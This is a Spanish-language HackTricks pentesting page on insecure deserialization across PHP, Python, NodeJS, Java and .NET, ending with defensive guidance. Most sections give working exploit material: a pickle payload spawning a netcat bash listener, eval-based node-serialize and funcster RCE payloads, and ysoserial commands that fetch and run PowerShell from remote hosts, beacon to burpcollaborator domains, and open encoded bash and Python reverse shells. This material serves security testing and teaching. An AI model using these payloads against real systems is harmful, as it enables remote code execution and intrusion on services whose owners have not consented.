Deserialización
Reading time: 40 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Información Básica
Serialización se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado.
Deserialización, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
La deserialización puede ser peligrosa porque potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
PHP
En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización:
__sleep
: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Se utiliza comúnmente para comprometer datos pendientes o realizar tareas de limpieza similares.__wakeup
: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer cualquier conexión a la base de datos que pueda haberse perdido durante la serialización y realizar otras tareas de reinicialización.__unserialize
: Este método se llama en lugar de__wakeup
(si existe) cuando un objeto está siendo deserializado. Ofrece más control sobre el proceso de deserialización en comparación con__wakeup
.__destruct
: Este método se llama cuando un objeto está a punto de ser destruido o cuando el script termina. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos.__toString
: Este método permite que un objeto sea tratado como una cadena. Puede ser utilizado para leer un archivo u otras tareas basadas en las llamadas a funciones dentro de él, proporcionando efectivamente una representación textual del objeto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Si miras los resultados, puedes ver que las funciones __wakeup
y __destruct
se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función __toString
se llama al intentar imprimir algún atributo, pero aparentemente eso ya no está sucediendo.
warning
El método __unserialize(array $data)
se llama en lugar de __wakeup()
si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Realiza cualquier tarea necesaria al deserializar.
}
}
Puedes leer un ejemplo de PHP explicado aquí: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aquí https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o aquí https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Podrías abusar de la funcionalidad de autoload de PHP para cargar archivos php arbitrarios y más:
PHP - Deserialization + Autoload Classes
Serializando Valores Referenciados
Si por alguna razón deseas serializar un valor como una referencia a otro valor serializado, puedes:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial para PHP)
PHPGGC puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.
Ten en cuenta que en varios casos no podrás encontrar una forma de abusar de una deserialización en el código fuente de la aplicación, pero podrías abusar del código de extensiones PHP externas.
Así que, si puedes, revisa el phpinfo()
del servidor y busca en internet (e incluso en los gadgets de PHPGGC) algunos posibles gadgets que podrías abusar.
deserialización de metadatos phar://
Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código php dentro de él, por ejemplo, usando funciones como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize(). Puedes intentar abusar de una deserialización que ocurre al leer un archivo usando el protocolo phar.
Para más información, lee el siguiente post:
Python
Pickle
Cuando el objeto se deserializa, se ejecutará la función ___reduce___.
Cuando se explota, el servidor podría devolver un error.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Antes de verificar la técnica de bypass, intenta usar print(base64.b64encode(pickle.dumps(P(),2)))
para generar un objeto que sea compatible con python2 si estás ejecutando python3.
Para más información sobre cómo escapar de pickle jails consulta:
Yaml & jsonpickle
La siguiente página presenta la técnica para abusar de una deserialización insegura en bibliotecas de yamls de python y termina con una herramienta que se puede usar para generar cargas útiles de deserialización RCE para Pickle, PyYAML, jsonpickle y ruamel.yaml:
Contaminación de Clases (Contaminación de Prototipos de Python)
Class Pollution (Python's Prototype Pollution)
NodeJS
Funciones Mágicas de JS
JS no tiene funciones "mágicas" como PHP o Python que se ejecutan solo por crear un objeto. Pero tiene algunas funciones que son frecuentemente utilizadas incluso sin ser llamadas directamente como toString
, valueOf
, toJSON
.
Si abusas de una deserialización, puedes comprometer estas funciones para ejecutar otro código (potencialmente abusando de contaminaciones de prototipos) podrías ejecutar código arbitrario cuando se llamen.
Otra manera "mágica" de llamar a una función sin llamarla directamente es comprometiendo un objeto que es devuelto por una función asíncrona (promesa). Porque, si transformas ese objeto de retorno en otra promesa con una propiedad llamada "then" de tipo función, será ejecutado solo porque es devuelto por otra promesa. Sigue este enlace para más información.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
y contaminación de prototype
Si quieres aprender sobre esta técnica echa un vistazo al siguiente tutorial:
NodeJS - proto & prototype Pollution
node-serialize
Esta biblioteca permite serializar funciones. Ejemplo:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
El objeto serializado se verá así:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Puedes ver en el ejemplo que cuando una función es serializada, el flag _$$ND_FUNC$$_
se añade al objeto serializado.
Dentro del archivo node-serialize/lib/serialize.js
puedes encontrar el mismo flag y cómo el código lo está utilizando.
Como puedes ver en el último fragmento de código, si se encuentra el flag, se utiliza eval
para deserializar la función, así que básicamente la entrada del usuario se está utilizando dentro de la función eval
.
Sin embargo, simplemente serializar una función no la ejecutará, ya que sería necesario que alguna parte del código llame a y.rce
en nuestro ejemplo y eso es altamente improbable.
De todos modos, podrías modificar el objeto serializado agregando algunos paréntesis para que la función serializada se ejecute automáticamente cuando el objeto sea deserializado.
En el siguiente fragmento de código nota el último paréntesis y cómo la función unserialize
ejecutará automáticamente el código:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Como se indicó anteriormente, esta biblioteca obtendrá el código después de _$$ND_FUNC$$_
y lo ejecutará usando eval
. Por lo tanto, para auto-ejecutar código puedes eliminar la parte de creación de la función y el último paréntesis y simplemente ejecutar un oneliner de JS como en el siguiente ejemplo:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Puedes encontrar aquí más información sobre cómo explotar esta vulnerabilidad.
funcster
Un aspecto notable de funcster es la inaccesibilidad de objetos incorporados estándar; quedan fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como "ReferenceError: console is not defined"
cuando se utilizan comandos como console.log()
o require(something)
.
A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos incorporados estándar, a través de un enfoque específico. Al aprovechar el contexto global directamente, se puede eludir esta restricción. Por ejemplo, el acceso se puede restablecer utilizando el siguiente fragmento:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Para más información, lee esta fuente.
serialize-javascript
El paquete serialize-javascript está diseñado exclusivamente para propósitos de serialización, careciendo de cualquier capacidad de deserialización incorporada. Los usuarios son responsables de implementar su propio método para la deserialización. Se sugiere un uso directo de eval
en el ejemplo oficial para deserializar datos serializados:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Si esta función se utiliza para deserializar objetos, puedes explotarlo fácilmente:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Para más información, lea esta fuente.
Biblioteca Cryo
En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
En Java, los callbacks de deserialización se ejecutan durante el proceso de deserialización. Esta ejecución puede ser explotada por atacantes que crean cargas útiles maliciosas que activan estos callbacks, lo que lleva a la posible ejecución de acciones dañinas.
Huellas
Caja Blanca
Para identificar posibles vulnerabilidades de serialización en la base de código, busca:
- Clases que implementen la interfaz
Serializable
. - Uso de
java.io.ObjectInputStream
,readObject
,readUnshare
funciones.
Presta especial atención a:
XMLDecoder
utilizado con parámetros definidos por usuarios externos.- El método
fromXML
deXStream
, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización. ObjectInputStream
acoplado con el métodoreadObject
.- Implementación de métodos como
readObject
,readObjectNodData
,readResolve
, oreadExternal
. ObjectInputStream.readUnshared
.- Uso general de
Serializable
.
Caja Negra
Para pruebas de caja negra, busca firmas específicas o "Bytes Mágicos" que denoten objetos serializados de Java (originados de ObjectInputStream
):
- Patrón hexadecimal:
AC ED 00 05
. - Patrón Base64:
rO0
. - Encabezados de respuesta HTTP con
Content-type
establecido enapplication/x-java-serialized-object
. - Patrón hexadecimal que indica compresión previa:
1F 8B 08 00
. - Patrón Base64 que indica compresión previa:
H4sIA
. - Archivos web con la extensión
.faces
y el parámetrofaces.ViewState
. Descubrir estos patrones en una aplicación web debería provocar un examen como se detalla en el post sobre la deserialización de Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Verificar si es vulnerable
Si quieres aprender cómo funciona un exploit de deserialización en Java, deberías echar un vistazo a Deserialización Básica en Java, Deserialización DNS en Java, y Carga Útil de CommonsCollection1.
Prueba de Caja Blanca
Puedes verificar si hay alguna aplicación instalada con vulnerabilidades conocidas.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Podrías intentar verificar todas las bibliotecas conocidas por ser vulnerables y que Ysoserial puede proporcionar un exploit. O podrías revisar las bibliotecas indicadas en Java-Deserialization-Cheat-Sheet.
También podrías usar gadgetinspector para buscar posibles cadenas de gadgets que puedan ser explotadas.
Al ejecutar gadgetinspector (después de construirlo), no te preocupes por las toneladas de advertencias/errores que está generando y déjalo terminar. Escribirá todos los hallazgos en gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt. Por favor, ten en cuenta que gadgetinspector no creará un exploit y puede indicar falsos positivos.
Prueba de Caja Negra
Usando la extensión de Burp gadgetprobe puedes identificar qué bibliotecas están disponibles (e incluso las versiones). Con esta información podría ser más fácil elegir un payload para explotar la vulnerabilidad.
Lee esto para aprender más sobre GadgetProbe.
GadgetProbe se centra en las deserializaciones de ObjectInputStream
.
Usando la extensión de Burp Java Deserialization Scanner puedes identificar bibliotecas vulnerables explotables con ysoserial y explotarlas.
Lee esto para aprender más sobre Java Deserialization Scanner.
Java Deserialization Scanner se centra en las deserializaciones de ObjectInputStream
.
También puedes usar Freddy para detectar vulnerabilidades de deserialización en Burp. Este plugin detectará no solo vulnerabilidades relacionadas con ObjectInputStream
sino también vulnerabilidades de bibliotecas de deserialización de Json y Yml. En modo activo, intentará confirmarlas usando payloads de sleep o DNS.
Puedes encontrar más información sobre Freddy aquí.
Prueba de Serialización
No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de cambiar los datos dentro del objeto serializado y eludir algunas verificaciones (quizás otorgándote privilegios de administrador dentro de una webapp).
Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, puedes usar SerializationDumper para imprimir en un formato más legible para humanos el objeto de serialización que se envía. Saber qué datos estás enviando facilitaría modificarlos y eludir algunas verificaciones.
Explotar
ysoserial
La herramienta principal para explotar deserializaciones de Java es ysoserial (descargar aquí). También puedes considerar usar ysoseral-modified que te permitirá usar comandos complejos (con pipes, por ejemplo).
Ten en cuenta que esta herramienta está enfocada en explotar ObjectInputStream
.
Yo comenzaría usando el payload "URLDNS" antes de un payload RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione, pero otro payload RCE sí.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Al crear un payload para java.lang.Runtime.exec() no puedes usar caracteres especiales como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso pasar argumentos a un comando separados por espacios (puedes hacer echo -n "hello world"
pero no puedes hacer python2 -c 'print "Hello world"'
). Para codificar correctamente el payload, podrías usar esta página web.
Siéntete libre de usar el siguiente script para crear todos los posibles payloads de ejecución de código para Windows y Linux y luego probarlos en la página web vulnerable:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Puedes usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto con ysoserial para crear más exploits. Más información sobre esta herramienta en las diapositivas de la charla donde se presentó la herramienta: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec se puede usar para generar payloads para explotar diferentes Json y Yml bibliotecas de serialización en Java.
Para compilar el proyecto, necesitaba agregar estas dependencias a pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instala maven, y compila el proyecto:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Lee más sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Si quieres probar algunos payloads de ysoserial, puedes ejecutar esta webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Java utiliza mucha serialización para varios propósitos como:
- Solicitudes HTTP: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
- RMI (Remote Method Invocation): El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
- RMI sobre HTTP: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos.
- JMX (Java Management Extensions): JMX utiliza la serialización para transmitir objetos a través de la red.
- Protocolos personalizados: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo cual se demostrará en ejemplos de explotación próximos.
Prevention
Transient objects
Una clase que implementa Serializable
puede implementar como transient
cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Evitar la serialización de una clase que necesita implementar Serializable
En escenarios donde ciertos objetos deben implementar la interfaz Serializable
debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método readObject()
final
que lance consistentemente una excepción, como se muestra a continuación:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Mejorando la Seguridad de la Deserialización en Java
Personalizar java.io.ObjectInputStream
es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando:
- El código de deserialización está bajo tu control.
- Las clases esperadas para la deserialización son conocidas.
Sobrescribe el resolveClass()
método para limitar la deserialización solo a las clases permitidas. Esto previene la deserialización de cualquier clase excepto aquellas explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialización solo a la clase Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Usando un Agente de Java para Mejora de Seguridad ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para bloquear clases dañinas, utilizando un parámetro de JVM:
-javaagent:name-of-agent.jar
Proporciona una forma de asegurar la deserialización de manera dinámica, ideal para entornos donde los cambios de código inmediatos son imprácticos.
Consulta un ejemplo en rO0 by Contrast Security
Implementación de Filtros de Serialización: Java 9 introdujo filtros de serialización a través de la interfaz ObjectInputFilter
, proporcionando un mecanismo poderoso para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control granular sobre el proceso de deserialización.
Para utilizar filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Aprovechando Bibliotecas Externas para una Mayor Seguridad: Bibliotecas como NotSoSerial, jdeserialize y Kryo ofrecen características avanzadas para controlar y monitorear la deserialización de Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como la creación de listas blancas o negras de clases, el análisis de objetos serializados antes de la deserialización y la implementación de estrategias de serialización personalizadas.
- NotSoSerial intercepta los procesos de deserialización para prevenir la ejecución de código no confiable.
- jdeserialize permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso.
- Kryo es un marco de serialización alternativo que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad.
Referencias
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialización y charla de ysoserial: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Charla sobre gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 y diapositivas: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Documento de Marshalsec: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Deserialización de Java y .Net documento: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, charla: https://www.youtube.com/watch?v=oUAeWhW5b8c y diapositivas: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- CVEs de deserialización: https://paper.seebug.org/123/
Inyección JNDI & log4Shell
Encuentra qué es la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell (y un ejemplo de esta vulnerabilidad) en la siguiente página:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Servicio de Mensajes de Java
La API de Servicio de Mensajes de Java (JMS) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De Wikipedia).
Productos
Hay varios productos que utilizan este middleware para enviar mensajes:
Explotación
Entonces, básicamente hay un montón de servicios que utilizan JMS de manera peligrosa. Por lo tanto, si tienes suficientes privilegios para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor.
Esto significa que en esta explotación todos los clientes que vayan a usar ese mensaje se infectarán.
Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
La herramienta JMET fue creada para conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
Referencias
- Charla de JMET: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Diapositivas: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde se explotan gadgets para ejecutar código específico durante la deserialización de un objeto.
Huella
WhiteBox
El código fuente debe ser inspeccionado en busca de ocurrencias de:
TypeNameHandling
JavaScriptTypeResolver
El enfoque debe estar en los serializadores que permiten que el tipo sea determinado por una variable bajo control del usuario.
BlackBox
La búsqueda debe dirigirse a la cadena codificada en Base64 AAEAAAD///// o cualquier patrón similar que pueda ser deserializado en el lado del servidor, otorgando control sobre el tipo a deserializar. Esto podría incluir, pero no se limita a, estructuras JSON o XML que presenten TypeObject
o $type
.
ysoserial.net
En este caso, puedes usar la herramienta ysoserial.net para crear los exploits de deserialización. Una vez descargado el repositorio git, deberías compilar la herramienta usando Visual Studio, por ejemplo.
